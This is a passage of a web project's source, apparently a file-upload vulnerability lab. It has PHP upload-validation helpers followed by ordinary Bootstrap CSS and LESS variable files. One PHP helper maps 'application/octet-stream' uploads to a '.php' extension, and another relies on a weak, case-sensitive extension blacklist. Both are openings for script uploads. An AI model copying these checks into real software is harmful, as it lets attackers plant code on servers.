(getenv('HTTP_FORWARDED')) 182 | { 183 | $ip = getenv('HTTP_FORWARDED'); 184 | } 185 | else 186 | { 187 | $ip = $_SERVER['REMOTE_ADDR']; 188 | } 189 | return $ip; 190 | } 191 | 192 | function UpFile_name($str) 193 | { 194 | $File_Name_White_List = array("jpg","gif","png","jpeg"); 195 | $last_name = explode(".", $str); 196 | $last_name = end($last_name); 197 | if(in_array($last_name, $File_Name_White_List)) 198 | { 199 | return 1; 200 | } 201 | else 202 | { 203 | echo "注意你的文件名,OK?"; 204 | return 0; 205 | } 206 | } 207 | 208 | function UpFile_type1($str) 209 | { 210 | if($str==="image/jpg"){ 211 | return ".jpg"; 212 | }else if($str==="image/gif"){ 213 | return ".gif"; 214 | }else if($str==="image/png"){ 215 | return ".png"; 216 | }else if($str==="image/jpeg"){ 217 | return ".jpeg"; 218 | }else if($str==="application/octet-stream"){ 219 | return ".php"; 220 | }else{ 221 | return 0; 222 | } 223 | } 224 | 225 | function Upfile_type($str) 226 | { 227 | $File_Type_White_List = array("image/jpg","image/gif","image/png","image/jpeg","image/x-png","image/pjpeg"); 228 | if(in_array($str,$File_Type_White_List)) 229 | { 230 | return 1; 231 | } 232 | else 233 | { 234 | return 0; 235 | } 236 | } 237 | 238 | function FileExt_Cheak($str) 239 | { 240 | $File_Type_Black_List = array('.asp','.asa' ,'.cer', '.jspx',' .jspf','.aspx','.jsp','.php','.php3','.php4','.PHP','.exe','.exee'); 241 | if(in_array($str, $File_Type_Black_List)){ 242 | return 0; 243 | }else{ 244 | return 1; 245 | } 246 | 247 | } 248 | 249 | 250 | ?> -------------------------------------------------------------------------------- /css/bootswatch.less: -------------------------------------------------------------------------------- 1 | // Custom 3.1.0 2 | // Bootswatch 3 | // ----------------------------------------------------- 4 | 5 | 6 | // Navbar ===================================================================== 7 | 8 | // Buttons ==================================================================== 9 | 10 | // Typography ================================================================= 11 | 12 | // Tables ===================================================================== 13 | 14 | // Forms ====================================================================== 15 | 16 | // Navs ======================================================================= 17 | 18 | // Indicators ================================================================= 19 | 20 | // Progress bars ============================================================== 21 | 22 | // Containers ================================================================= 23 | -------------------------------------------------------------------------------- /css/bootswatch.min.css: -------------------------------------------------------------------------------- 1 | body{padding-top:50px} 2 | #banner{border-bottom:none} 3 | .page-header h1{font-size:4em} 4 | .bs-docs-section{margin-top:8em} 5 | footer{margin:5em 0}footer li{float:left;margin-right:1.5em;margin-bottom:1.5em} 6 | footer p{clear:left;margin-bottom:0} 7 | .splash{padding:4em 0 2em;background-color:#1c2533;background:-webkit-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:-o-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:-ms-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:-moz-linear-gradient(70deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background:linear-gradient(20deg, #080f1f 30%, #2b4b5a 87%, #435e67 100%);background-attachment:fixed;color:#fff;text-align:center}.splash .alert{margin:4em 0 2em} 8 | .splash h1{font-size:4em} 9 | .splash #social{margin:2em 0 4em} 10 | .splash .bsa{max-width:350px;margin:0 auto;background:none}.splash .bsa .one .bsa_it_ad{border:1px solid #3e4653 !important;border-color:rgba(255,255,255,0.2) !important} 11 | .splash .bsa a{color:#fff} 12 | .section-tout{padding:4em 0 3em;border-top:1px solid rgba(255,255,255,0.1);border-bottom:1px solid rgba(0,0,0,0.1);background-color:#eaf1f1}.section-tout .fa{margin-right:.5em} 13 | .section-tout p{margin-bottom:3em} 14 | .section-preview{padding:4em 0 4em}.section-preview .preview{margin-bottom:4em;background-color:#eaf1f1;border:1px solid rgba(0,0,0,0.1);border-radius:6px}.section-preview .preview .image{padding:5px}.section-preview .preview .image img{border:1px solid rgba(0,0,0,0.1)} 15 | .section-preview .preview .options{text-align:center;padding:0 2em 2em}.section-preview .preview .options p{margin-bottom:2em} 16 | .section-preview .dropdown-menu{text-align:left} 17 | .section-preview .lead{margin-bottom:2em} 18 | @media (max-width:767px){.section-preview .image img{width:100%}} 19 | .bsa{padding:0}.bsa .one .bsa_it_ad{border:none !important;background-color:transparent !important}.bsa .one .bsa_it_ad .bsa_it_t,.bsa .one .bsa_it_ad .bsa_it_d{color:inherit !important} 20 | .bsa .one .bsa_it_ad .bsa_it_i{margin-bottom:0 !important} 21 | .bsa .one .bsa_it_p{display:none} 22 | -------------------------------------------------------------------------------- /css/help.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #ffffff; 3 | font-family: Arial, Helvetica, sans-serif; 4 | font-size: 14px; 5 | } 6 | 7 | span.spoiler { 8 | background-color: #bacac6; 9 | color: #bacac6; 10 | } 11 | -------------------------------------------------------------------------------- /css/variables.less: -------------------------------------------------------------------------------- 1 | // Custom 3.1.0 2 | // Variables 3 | // -------------------------------------------------- 4 | 5 | 6 | //== Colors 7 | // 8 | //## Gray and brand colors for use across Bootstrap. 9 | 10 | @gray-darker: lighten(#000, 13.5%); // #222 11 | @gray-dark: lighten(#000, 20%); // #333 12 | @gray: lighten(#000, 33.5%); // #555 13 | @gray-light: lighten(#000, 60%); // #999 14 | @gray-lighter: lighten(#000, 93.5%); // #eee 15 | 16 | @brand-primary: #428bca; 17 | @brand-success: #5cb85c; 18 | @brand-info: #5bc0de; 19 | @brand-warning: #f0ad4e; 20 | @brand-danger: #d9534f; 21 | 22 | 23 | //== Scaffolding 24 | // 25 | // ## Settings for some of the most global styles. 26 | 27 | //** Background color for ``. 28 | @body-bg: #fff; 29 | //** Global text color on ``. 30 | @text-color: @gray-dark; 31 | 32 | //** Global textual link color. 33 | @link-color: @brand-primary; 34 | //** Link hover color set via `darken()` function. 35 | @link-hover-color: darken(@link-color, 15%); 36 | 37 | 38 | //== Typography 39 | // 40 | //## Font, line-height, and color for body text, headings, and more. 41 | 42 | @font-family-sans-serif: "Helvetica Neue", Helvetica, Arial, sans-serif; 43 | @font-family-serif: Georgia, "Times New Roman", Times, serif; 44 | //** Default monospace fonts for ``, ``, and `
`.
 45 | @font-family-monospace:   Menlo, Monaco, Consolas, "Courier New", monospace;
 46 | @font-family-base:        @font-family-sans-serif;
 47 | 
 48 | @font-size-base:          14px;
 49 | @font-size-large:         ceil((@font-size-base * 1.25)); // ~18px
 50 | @font-size-small:         ceil((@font-size-base * 0.85)); // ~12px
 51 | 
 52 | @font-size-h1:            floor((@font-size-base * 2.6)); // ~36px
 53 | @font-size-h2:            floor((@font-size-base * 2.15)); // ~30px
 54 | @font-size-h3:            ceil((@font-size-base * 1.7)); // ~24px
 55 | @font-size-h4:            ceil((@font-size-base * 1.25)); // ~18px
 56 | @font-size-h5:            @font-size-base;
 57 | @font-size-h6:            ceil((@font-size-base * 0.85)); // ~12px
 58 | 
 59 | //** Unit-less `line-height` for use in components like buttons.
 60 | @line-height-base:        1.428571429; // 20/14
 61 | //** Computed "line-height" (`font-size` * `line-height`) for use with `margin`, `padding`, etc.
 62 | @line-height-computed:    floor((@font-size-base * @line-height-base)); // ~20px
 63 | 
 64 | //** By default, this inherits from the ``.
 65 | @headings-font-family:    inherit;
 66 | @headings-font-weight:    500;
 67 | @headings-line-height:    1.1;
 68 | @headings-color:          inherit;
 69 | 
 70 | 
 71 | //-- Iconography
 72 | //
 73 | //## Specify custom locations of the include Glyphicons icon font. Useful for those including Bootstrap via Bower.
 74 | 
 75 | @icon-font-path:          "../fonts/";
 76 | @icon-font-name:          "glyphicons-halflings-regular";
 77 | @icon-font-svg-id:				"glyphicons_halflingsregular";
 78 | 
 79 | //== Components
 80 | //
 81 | //## Define common padding and border radius sizes and more. Values based on 14px text and 1.428 line-height (~20px to start).
 82 | 
 83 | @padding-base-vertical:     6px;
 84 | @padding-base-horizontal:   12px;
 85 | 
 86 | @padding-large-vertical:    10px;
 87 | @padding-large-horizontal:  16px;
 88 | 
 89 | @padding-small-vertical:    5px;
 90 | @padding-small-horizontal:  10px;
 91 | 
 92 | @padding-xs-vertical:       1px;
 93 | @padding-xs-horizontal:     5px;
 94 | 
 95 | @line-height-large:         1.33;
 96 | @line-height-small:         1.5;
 97 | 
 98 | @border-radius-base:        4px;
 99 | @border-radius-large:       6px;
100 | @border-radius-small:       3px;
101 | 
102 | //** Global color for active items (e.g., navs or dropdowns).
103 | @component-active-color:    #fff;
104 | //** Global background color for active items (e.g., navs or dropdowns).
105 | @component-active-bg:       @brand-primary;
106 | 
107 | //** Width of the `border` for generating carets that indicator dropdowns.
108 | @caret-width-base:          4px;
109 | //** Carets increase slightly in size for larger components.
110 | @caret-width-large:         5px;
111 | 
112 | 
113 | //== Tables
114 | //
115 | //## Customizes the `.table` component with basic values, each used across all table variations.
116 | 
117 | //** Padding for ``s and ``s.
118 | @table-cell-padding:            8px;
119 | //** Padding for cells in `.table-condensed`.
120 | @table-condensed-cell-padding:  5px;
121 | 
122 | //** Default background color used for all tables.
123 | @table-bg:                      transparent;
124 | //** Background color used for `.table-striped`.
125 | @table-bg-accent:               #f9f9f9;
126 | //** Background color used for `.table-hover`.
127 | @table-bg-hover:                #f5f5f5;
128 | @table-bg-active:               @table-bg-hover;
129 | 
130 | //** Border color for table and cell borders.
131 | @table-border-color:            #ddd;
132 | 
133 | 
134 | //== Buttons
135 | //
136 | //## For each of Bootstrap's buttons, define text, background and border color.
137 | 
138 | @btn-font-weight:                normal;
139 | 
140 | @btn-default-color:              #333;
141 | @btn-default-bg:                 #fff;
142 | @btn-default-border:             #ccc;
143 | 
144 | @btn-primary-color:              #fff;
145 | @btn-primary-bg:                 @brand-primary;
146 | @btn-primary-border:             darken(@btn-primary-bg, 5%);
147 | 
148 | @btn-success-color:              #fff;
149 | @btn-success-bg:                 @brand-success;
150 | @btn-success-border:             darken(@btn-success-bg, 5%);
151 | 
152 | @btn-info-color:                 #fff;
153 | @btn-info-bg:                    @brand-info;
154 | @btn-info-border:                darken(@btn-info-bg, 5%);
155 | 
156 | @btn-warning-color:              #fff;
157 | @btn-warning-bg:                 @brand-warning;
158 | @btn-warning-border:             darken(@btn-warning-bg, 5%);
159 | 
160 | @btn-danger-color:               #fff;
161 | @btn-danger-bg:                  @brand-danger;
162 | @btn-danger-border:              darken(@btn-danger-bg, 5%);
163 | 
164 | @btn-link-disabled-color:        @gray-light;
165 | 
166 | 
167 | //== Forms
168 | //
169 | //##
170 | 
171 | //** `` background color
172 | @input-bg:                       #fff;
173 | //** `` background color
174 | @input-bg-disabled:              @gray-lighter;
175 | 
176 | //** Text color for ``s
177 | @input-color:                    @gray;
178 | //** `` border color
179 | @input-border:                   #ccc;
180 | //** `` border radius
181 | @input-border-radius:            @border-radius-base;
182 | //** Border color for inputs on focus
183 | @input-border-focus:             #66afe9;
184 | 
185 | //** Placeholder text color
186 | @input-color-placeholder:        @gray-light;
187 | 
188 | //** Default `.form-control` height
189 | @input-height-base:              (@line-height-computed + (@padding-base-vertical * 2) + 2);
190 | //** Large `.form-control` height
191 | @input-height-large:             (ceil(@font-size-large * @line-height-large) + (@padding-large-vertical * 2) + 2);
192 | //** Small `.form-control` height
193 | @input-height-small:             (floor(@font-size-small * @line-height-small) + (@padding-small-vertical * 2) + 2);
194 | 
195 | @legend-color:                   @gray-dark;
196 | @legend-border-color:            #e5e5e5;
197 | 
198 | //** Background color for textual input addons
199 | @input-group-addon-bg:           @gray-lighter;
200 | //** Border color for textual input addons
201 | @input-group-addon-border-color: @input-border;
202 | 
203 | 
204 | //== Dropdowns
205 | //
206 | //## Dropdown menu container and contents.
207 | 
208 | //** Background for the dropdown menu.
209 | @dropdown-bg:                    #fff;
210 | //** Dropdown menu `border-color`.
211 | @dropdown-border:                rgba(0,0,0,.15);
212 | //** Dropdown menu `border-color` **for IE8**.
213 | @dropdown-fallback-border:       #ccc;
214 | //** Divider color for between dropdown items.
215 | @dropdown-divider-bg:            #e5e5e5;
216 | 
217 | //** Dropdown link text color.
218 | @dropdown-link-color:            @gray-dark;
219 | //** Hover color for dropdown links.
220 | @dropdown-link-hover-color:      darken(@gray-dark, 5%);
221 | //** Hover background for dropdown links.
222 | @dropdown-link-hover-bg:         #f5f5f5;
223 | 
224 | //** Active dropdown menu item text color.
225 | @dropdown-link-active-color:     @component-active-color;
226 | //** Active dropdown menu item background color.
227 | @dropdown-link-active-bg:        @component-active-bg;
228 | 
229 | //** Disabled dropdown menu item background color.
230 | @dropdown-link-disabled-color:   @gray-light;
231 | 
232 | //** Text color for headers within dropdown menus.
233 | @dropdown-header-color:          @gray-light;
234 | 
235 | // Note: Deprecated @dropdown-caret-color as of v3.1.0
236 | @dropdown-caret-color:           #000;
237 | 
238 | 
239 | //-- Z-index master list
240 | //
241 | // Warning: Avoid customizing these values. They're used for a bird's eye view
242 | // of components dependent on the z-axis and are designed to all work together.
243 | //
244 | // Note: These variables are not generated into the Customizer.
245 | 
246 | @zindex-navbar:            1000;
247 | @zindex-dropdown:          1000;
248 | @zindex-popover:           1010;
249 | @zindex-tooltip:           1030;
250 | @zindex-navbar-fixed:      1030;
251 | @zindex-modal-background:  1040;
252 | @zindex-modal:             1050;
253 | 
254 | 
255 | //== Media queries breakpoints
256 | //
257 | //## Define the breakpoints at which your layout will change, adapting to different screen sizes.
258 | 
259 | // Extra small screen / phone
260 | // Note: Deprecated @screen-xs and @screen-phone as of v3.0.1
261 | @screen-xs:                  480px;
262 | @screen-xs-min:              @screen-xs;
263 | @screen-phone:               @screen-xs-min;
264 | 
265 | // Small screen / tablet
266 | // Note: Deprecated @screen-sm and @screen-tablet as of v3.0.1
267 | @screen-sm:                  768px;
268 | @screen-sm-min:              @screen-sm;
269 | @screen-tablet:              @screen-sm-min;
270 | 
271 | // Medium screen / desktop
272 | // Note: Deprecated @screen-md and @screen-desktop as of v3.0.1
273 | @screen-md:                  992px;
274 | @screen-md-min:              @screen-md;
275 | @screen-desktop:             @screen-md-min;
276 | 
277 | // Large screen / wide desktop
278 | // Note: Deprecated @screen-lg and @screen-lg-desktop as of v3.0.1
279 | @screen-lg:                  1200px;
280 | @screen-lg-min:              @screen-lg;
281 | @screen-lg-desktop:          @screen-lg-min;
282 | 
283 | // So media queries don't overlap when required, provide a maximum
284 | @screen-xs-max:              (@screen-sm-min - 1);
285 | @screen-sm-max:              (@screen-md-min - 1);
286 | @screen-md-max:              (@screen-lg-min - 1);
287 | 
288 | 
289 | //== Grid system
290 | //
291 | //## Define your custom responsive grid.
292 | 
293 | //** Number of columns in the grid.
294 | @grid-columns:              12;
295 | //** Padding between columns. Gets divided in half for the left and right.
296 | @grid-gutter-width:         30px;
297 | // Navbar collapse
298 | //** Point at which the navbar becomes uncollapsed.
299 | @grid-float-breakpoint:     @screen-sm-min;
300 | //** Point at which the navbar begins collapsing.
301 | @grid-float-breakpoint-max: (@grid-float-breakpoint - 1);
302 | 
303 | 
304 | //== Navbar
305 | //
306 | //##
307 | 
308 | // Basics of a navbar
309 | @navbar-height:                    50px;
310 | @navbar-margin-bottom:             @line-height-computed;
311 | @navbar-border-radius:             @border-radius-base;
312 | @navbar-padding-horizontal:        floor((@grid-gutter-width / 2));
313 | @navbar-padding-vertical:          ((@navbar-height - @line-height-computed) / 2);
314 | @navbar-collapse-max-height:       340px;
315 | 
316 | @navbar-default-color:             #777;
317 | @navbar-default-bg:                #f8f8f8;
318 | @navbar-default-border:            darken(@navbar-default-bg, 6.5%);
319 | 
320 | // Navbar links
321 | @navbar-default-link-color:                #777;
322 | @navbar-default-link-hover-color:          #333;
323 | @navbar-default-link-hover-bg:             transparent;
324 | @navbar-default-link-active-color:         #555;
325 | @navbar-default-link-active-bg:            darken(@navbar-default-bg, 6.5%);
326 | @navbar-default-link-disabled-color:       #ccc;
327 | @navbar-default-link-disabled-bg:          transparent;
328 | 
329 | // Navbar brand label
330 | @navbar-default-brand-color:               @navbar-default-link-color;
331 | @navbar-default-brand-hover-color:         darken(@navbar-default-brand-color, 10%);
332 | @navbar-default-brand-hover-bg:            transparent;
333 | 
334 | // Navbar toggle
335 | @navbar-default-toggle-hover-bg:           #ddd;
336 | @navbar-default-toggle-icon-bar-bg:        #888;
337 | @navbar-default-toggle-border-color:       #ddd;
338 | 
339 | 
340 | // Inverted navbar
341 | // Reset inverted navbar basics
342 | @navbar-inverse-color:                      @gray-light;
343 | @navbar-inverse-bg:                         #222;
344 | @navbar-inverse-border:                     darken(@navbar-inverse-bg, 10%);
345 | 
346 | // Inverted navbar links
347 | @navbar-inverse-link-color:                 @gray-light;
348 | @navbar-inverse-link-hover-color:           #fff;
349 | @navbar-inverse-link-hover-bg:              transparent;
350 | @navbar-inverse-link-active-color:          @navbar-inverse-link-hover-color;
351 | @navbar-inverse-link-active-bg:             darken(@navbar-inverse-bg, 10%);
352 | @navbar-inverse-link-disabled-color:        #444;
353 | @navbar-inverse-link-disabled-bg:           transparent;
354 | 
355 | // Inverted navbar brand label
356 | @navbar-inverse-brand-color:                @navbar-inverse-link-color;
357 | @navbar-inverse-brand-hover-color:          #fff;
358 | @navbar-inverse-brand-hover-bg:             transparent;
359 | 
360 | // Inverted navbar toggle
361 | @navbar-inverse-toggle-hover-bg:            #333;
362 | @navbar-inverse-toggle-icon-bar-bg:         #fff;
363 | @navbar-inverse-toggle-border-color:        #333;
364 | 
365 | 
366 | //== Navs
367 | //
368 | //##
369 | 
370 | //=== Shared nav styles
371 | @nav-link-padding:                          10px 15px;
372 | @nav-link-hover-bg:                         @gray-lighter;
373 | 
374 | @nav-disabled-link-color:                   @gray-light;
375 | @nav-disabled-link-hover-color:             @gray-light;
376 | 
377 | @nav-open-link-hover-color:                 #fff;
378 | 
379 | //== Tabs
380 | @nav-tabs-border-color:                     #ddd;
381 | 
382 | @nav-tabs-link-hover-border-color:          @gray-lighter;
383 | 
384 | @nav-tabs-active-link-hover-bg:             @body-bg;
385 | @nav-tabs-active-link-hover-color:          @gray;
386 | @nav-tabs-active-link-hover-border-color:   #ddd;
387 | 
388 | @nav-tabs-justified-link-border-color:            #ddd;
389 | @nav-tabs-justified-active-link-border-color:     @body-bg;
390 | 
391 | //== Pills
392 | @nav-pills-border-radius:                   @border-radius-base;
393 | @nav-pills-active-link-hover-bg:            @component-active-bg;
394 | @nav-pills-active-link-hover-color:         @component-active-color;
395 | 
396 | 
397 | //== Pagination
398 | //
399 | //##
400 | 
401 | @pagination-color:                     @link-color;
402 | @pagination-bg:                        #fff;
403 | @pagination-border:                    #ddd;
404 | 
405 | @pagination-hover-color:               @link-hover-color;
406 | @pagination-hover-bg:                  @gray-lighter;
407 | @pagination-hover-border:              #ddd;
408 | 
409 | @pagination-active-color:              #fff;
410 | @pagination-active-bg:                 @brand-primary;
411 | @pagination-active-border:             @brand-primary;
412 | 
413 | @pagination-disabled-color:            @gray-light;
414 | @pagination-disabled-bg:               #fff;
415 | @pagination-disabled-border:           #ddd;
416 | 
417 | 
418 | //== Pager
419 | //
420 | //##
421 | 
422 | @pager-bg:                             @pagination-bg;
423 | @pager-border:                         @pagination-border;
424 | @pager-border-radius:                  15px;
425 | 
426 | @pager-hover-bg:                       @pagination-hover-bg;
427 | 
428 | @pager-active-bg:                      @pagination-active-bg;
429 | @pager-active-color:                   @pagination-active-color;
430 | 
431 | @pager-disabled-color:                 @pagination-disabled-color;
432 | 
433 | 
434 | //== Jumbotron
435 | //
436 | //##
437 | 
438 | @jumbotron-padding:              30px;
439 | @jumbotron-color:                inherit;
440 | @jumbotron-bg:                   @gray-lighter;
441 | @jumbotron-heading-color:        inherit;
442 | @jumbotron-font-size:            ceil((@font-size-base * 1.5));
443 | 
444 | 
445 | //== Form states and alerts
446 | //
447 | //## Define colors for form feedback states and, by default, alerts.
448 | 
449 | @state-success-text:             #3c763d;
450 | @state-success-bg:               #dff0d8;
451 | @state-success-border:           darken(spin(@state-success-bg, -10), 5%);
452 | 
453 | @state-info-text:                #31708f;
454 | @state-info-bg:                  #d9edf7;
455 | @state-info-border:              darken(spin(@state-info-bg, -10), 7%);
456 | 
457 | @state-warning-text:             #8a6d3b;
458 | @state-warning-bg:               #fcf8e3;
459 | @state-warning-border:           darken(spin(@state-warning-bg, -10), 5%);
460 | 
461 | @state-danger-text:              #a94442;
462 | @state-danger-bg:                #f2dede;
463 | @state-danger-border:            darken(spin(@state-danger-bg, -10), 5%);
464 | 
465 | 
466 | //== Tooltips
467 | //
468 | //##
469 | 
470 | //** Tooltip max width
471 | @tooltip-max-width:           200px;
472 | //** Tooltip text color
473 | @tooltip-color:               #fff;
474 | //** Tooltip background color
475 | @tooltip-bg:                  #000;
476 | @tooltip-opacity:             .9;
477 | 
478 | //** Tooltip arrow width
479 | @tooltip-arrow-width:         5px;
480 | //** Tooltip arrow color
481 | @tooltip-arrow-color:         @tooltip-bg;
482 | 
483 | 
484 | //== Popovers
485 | //
486 | //##
487 | 
488 | //** Popover body background color
489 | @popover-bg:                          #fff;
490 | //** Popover maximum width
491 | @popover-max-width:                   276px;
492 | //** Popover border color
493 | @popover-border-color:                rgba(0,0,0,.2);
494 | //** Popover fallback border color
495 | @popover-fallback-border-color:       #ccc;
496 | 
497 | //** Popover title background color
498 | @popover-title-bg:                    darken(@popover-bg, 3%);
499 | 
500 | //** Popover arrow width
501 | @popover-arrow-width:                 10px;
502 | //** Popover arrow color
503 | @popover-arrow-color:                 #fff;
504 | 
505 | //** Popover outer arrow width
506 | @popover-arrow-outer-width:           (@popover-arrow-width + 1);
507 | //** Popover outer arrow color
508 | @popover-arrow-outer-color:           rgba(0,0,0,.25);
509 | //** Popover outer arrow fallback color
510 | @popover-arrow-outer-fallback-color:  #999;
511 | 
512 | 
513 | //== Labels
514 | //
515 | //##
516 | 
517 | //** Default label background color
518 | @label-default-bg:            @gray-light;
519 | //** Primary label background color
520 | @label-primary-bg:            @brand-primary;
521 | //** Success label background color
522 | @label-success-bg:            @brand-success;
523 | //** Info label background color
524 | @label-info-bg:               @brand-info;
525 | //** Warning label background color
526 | @label-warning-bg:            @brand-warning;
527 | //** Danger label background color
528 | @label-danger-bg:             @brand-danger;
529 | 
530 | //** Default label text color
531 | @label-color:                 #fff;
532 | //** Default text color of a linked label
533 | @label-link-hover-color:      #fff;
534 | 
535 | 
536 | //== Modals
537 | //
538 | //##
539 | 
540 | //** Padding applied to the modal body
541 | @modal-inner-padding:         20px;
542 | 
543 | //** Padding applied to the modal title
544 | @modal-title-padding:         15px;
545 | //** Modal title line-height
546 | @modal-title-line-height:     @line-height-base;
547 | 
548 | //** Background color of modal content area
549 | @modal-content-bg:                             #fff;
550 | //** Modal content border color
551 | @modal-content-border-color:                   rgba(0,0,0,.2);
552 | //** Modal content border color **for IE8**
553 | @modal-content-fallback-border-color:          #999;
554 | 
555 | //** Modal backdrop background color
556 | @modal-backdrop-bg:           #000;
557 | //** Modal backdrop opacity
558 | @modal-backdrop-opacity:      .5;
559 | //** Modal header border color
560 | @modal-header-border-color:   #e5e5e5;
561 | //** Modal footer border color
562 | @modal-footer-border-color:   @modal-header-border-color;
563 | 
564 | @modal-lg:                    900px;
565 | @modal-md:                    600px;
566 | @modal-sm:                    300px;
567 | 
568 | 
569 | //== Alerts
570 | //
571 | //## Define alert colors, border radius, and padding.
572 | 
573 | @alert-padding:               15px;
574 | @alert-border-radius:         @border-radius-base;
575 | @alert-link-font-weight:      bold;
576 | 
577 | @alert-success-bg:            @state-success-bg;
578 | @alert-success-text:          @state-success-text;
579 | @alert-success-border:        @state-success-border;
580 | 
581 | @alert-info-bg:               @state-info-bg;
582 | @alert-info-text:             @state-info-text;
583 | @alert-info-border:           @state-info-border;
584 | 
585 | @alert-warning-bg:            @state-warning-bg;
586 | @alert-warning-text:          @state-warning-text;
587 | @alert-warning-border:        @state-warning-border;
588 | 
589 | @alert-danger-bg:             @state-danger-bg;
590 | @alert-danger-text:           @state-danger-text;
591 | @alert-danger-border:         @state-danger-border;
592 | 
593 | 
594 | //== Progress bars
595 | //
596 | //##
597 | 
598 | //** Background color of the whole progress component
599 | @progress-bg:                 #f5f5f5;
600 | //** Progress bar text color
601 | @progress-bar-color:          #fff;
602 | 
603 | //** Default progress bar color
604 | @progress-bar-bg:             @brand-primary;
605 | //** Success progress bar color
606 | @progress-bar-success-bg:     @brand-success;
607 | //** Warning progress bar color
608 | @progress-bar-warning-bg:     @brand-warning;
609 | //** Danger progress bar color
610 | @progress-bar-danger-bg:      @brand-danger;
611 | //** Info progress bar color
612 | @progress-bar-info-bg:        @brand-info;
613 | 
614 | 
615 | //== List group
616 | //
617 | //##
618 | 
619 | //** Background color on `.list-group-item`
620 | @list-group-bg:                 #fff;
621 | //** `.list-group-item` border color
622 | @list-group-border:             #ddd;
623 | //** List group border radius
624 | @list-group-border-radius:      @border-radius-base;
625 | 
626 | //** Background color of single list elements on hover
627 | @list-group-hover-bg:           #f5f5f5;
628 | //** Text color of active list elements
629 | @list-group-active-color:       @component-active-color;
630 | //** Background color of active list elements
631 | @list-group-active-bg:          @component-active-bg;
632 | //** Border color of active list elements
633 | @list-group-active-border:      @list-group-active-bg;
634 | @list-group-active-text-color:  lighten(@list-group-active-bg, 40%);
635 | 
636 | @list-group-link-color:         #555;
637 | @list-group-link-heading-color: #333;
638 | 
639 | 
640 | //== Panels
641 | //
642 | //##
643 | 
644 | @panel-bg:                    #fff;
645 | @panel-body-padding:          15px;
646 | @panel-border-radius:         @border-radius-base;
647 | 
648 | //** Border color for elements within panels
649 | @panel-inner-border:          #ddd;
650 | @panel-footer-bg:             #f5f5f5;
651 | 
652 | @panel-default-text:          @gray-dark;
653 | @panel-default-border:        #ddd;
654 | @panel-default-heading-bg:    #f5f5f5;
655 | 
656 | @panel-primary-text:          #fff;
657 | @panel-primary-border:        @brand-primary;
658 | @panel-primary-heading-bg:    @brand-primary;
659 | 
660 | @panel-success-text:          @state-success-text;
661 | @panel-success-border:        @state-success-border;
662 | @panel-success-heading-bg:    @state-success-bg;
663 | 
664 | @panel-info-text:             @state-info-text;
665 | @panel-info-border:           @state-info-border;
666 | @panel-info-heading-bg:       @state-info-bg;
667 | 
668 | @panel-warning-text:          @state-warning-text;
669 | @panel-warning-border:        @state-warning-border;
670 | @panel-warning-heading-bg:    @state-warning-bg;
671 | 
672 | @panel-danger-text:           @state-danger-text;
673 | @panel-danger-border:         @state-danger-border;
674 | @panel-danger-heading-bg:     @state-danger-bg;
675 | 
676 | 
677 | //== Thumbnails
678 | //
679 | //##
680 | 
681 | //** Padding around the thumbnail image
682 | @thumbnail-padding:           4px;
683 | //** Thumbnail background color
684 | @thumbnail-bg:                @body-bg;
685 | //** Thumbnail border color
686 | @thumbnail-border:            #ddd;
687 | //** Thumbnail border radius
688 | @thumbnail-border-radius:     @border-radius-base;
689 | 
690 | //** Custom text color for thumbnail captions
691 | @thumbnail-caption-color:     @text-color;
692 | //** Padding around the thumbnail caption
693 | @thumbnail-caption-padding:   9px;
694 | 
695 | 
696 | //== Wells
697 | //
698 | //##
699 | 
700 | @well-bg:                     #f5f5f5;
701 | @well-border:                 darken(@well-bg, 7%);
702 | 
703 | 
704 | //== Badges
705 | //
706 | //##
707 | 
708 | @badge-color:                 #fff;
709 | //** Linked badge text color on hover
710 | @badge-link-hover-color:      #fff;
711 | @badge-bg:                    @gray-light;
712 | 
713 | //** Badge text color in active nav link
714 | @badge-active-color:          @link-color;
715 | //** Badge background color in active nav link
716 | @badge-active-bg:             #fff;
717 | 
718 | @badge-font-weight:           bold;
719 | @badge-line-height:           1;
720 | @badge-border-radius:         10px;
721 | 
722 | 
723 | //== Breadcrumbs
724 | //
725 | //##
726 | 
727 | @breadcrumb-padding-vertical:   8px;
728 | @breadcrumb-padding-horizontal: 15px;
729 | //** Breadcrumb background color
730 | @breadcrumb-bg:                 #f5f5f5;
731 | //** Breadcrumb text color
732 | @breadcrumb-color:              #ccc;
733 | //** Text color of current page in the breadcrumb
734 | @breadcrumb-active-color:       @gray-light;
735 | //** Textual separator for between breadcrumb elements
736 | @breadcrumb-separator:          "/";
737 | 
738 | 
739 | //== Carousel
740 | //
741 | //##
742 | 
743 | @carousel-text-shadow:                        0 1px 2px rgba(0,0,0,.6);
744 | 
745 | @carousel-control-color:                      #fff;
746 | @carousel-control-width:                      15%;
747 | @carousel-control-opacity:                    .5;
748 | @carousel-control-font-size:                  20px;
749 | 
750 | @carousel-indicator-active-bg:                #fff;
751 | @carousel-indicator-border-color:             #fff;
752 | 
753 | @carousel-caption-color:                      #fff;
754 | 
755 | 
756 | //== Close
757 | //
758 | //##
759 | 
760 | @close-font-weight:           bold;
761 | @close-color:                 #000;
762 | @close-text-shadow:           0 1px 0 #fff;
763 | 
764 | 
765 | //== Code
766 | //
767 | //##
768 | 
769 | @code-color:                  #c7254e;
770 | @code-bg:                     #f9f2f4;
771 | 
772 | @kbd-color:                   #fff;
773 | @kbd-bg:                      #333;
774 | 
775 | @pre-bg:                      #f5f5f5;
776 | @pre-color:                   @gray-dark;
777 | @pre-border-color:            #ccc;
778 | @pre-scrollable-max-height:   340px;
779 | 
780 | 
781 | //== Type
782 | //
783 | //##
784 | 
785 | //** Text muted color
786 | @text-muted:                  @gray-light;
787 | //** Abbreviations and acronyms border color
788 | @abbr-border-color:           @gray-light;
789 | //** Headings small color
790 | @headings-small-color:        @gray-light;
791 | //** Blockquote small color
792 | @blockquote-small-color:      @gray-light;
793 | //** Blockquote border color
794 | @blockquote-border-color:     @gray-lighter;
795 | //** Page header border color
796 | @page-header-border-color:    @gray-lighter;
797 | 
798 | 
799 | //== Miscellaneous
800 | //
801 | //##
802 | 
803 | //** Horizontal line color.
804 | @hr-border:                   @gray-lighter;
805 | 
806 | //** Horizontal offset for forms and lists.
807 | @component-offset-horizontal: 180px;
808 | 
809 | 
810 | //== Container sizes
811 | //
812 | //## Define the maximum width of `.container` for different screen sizes.
813 | 
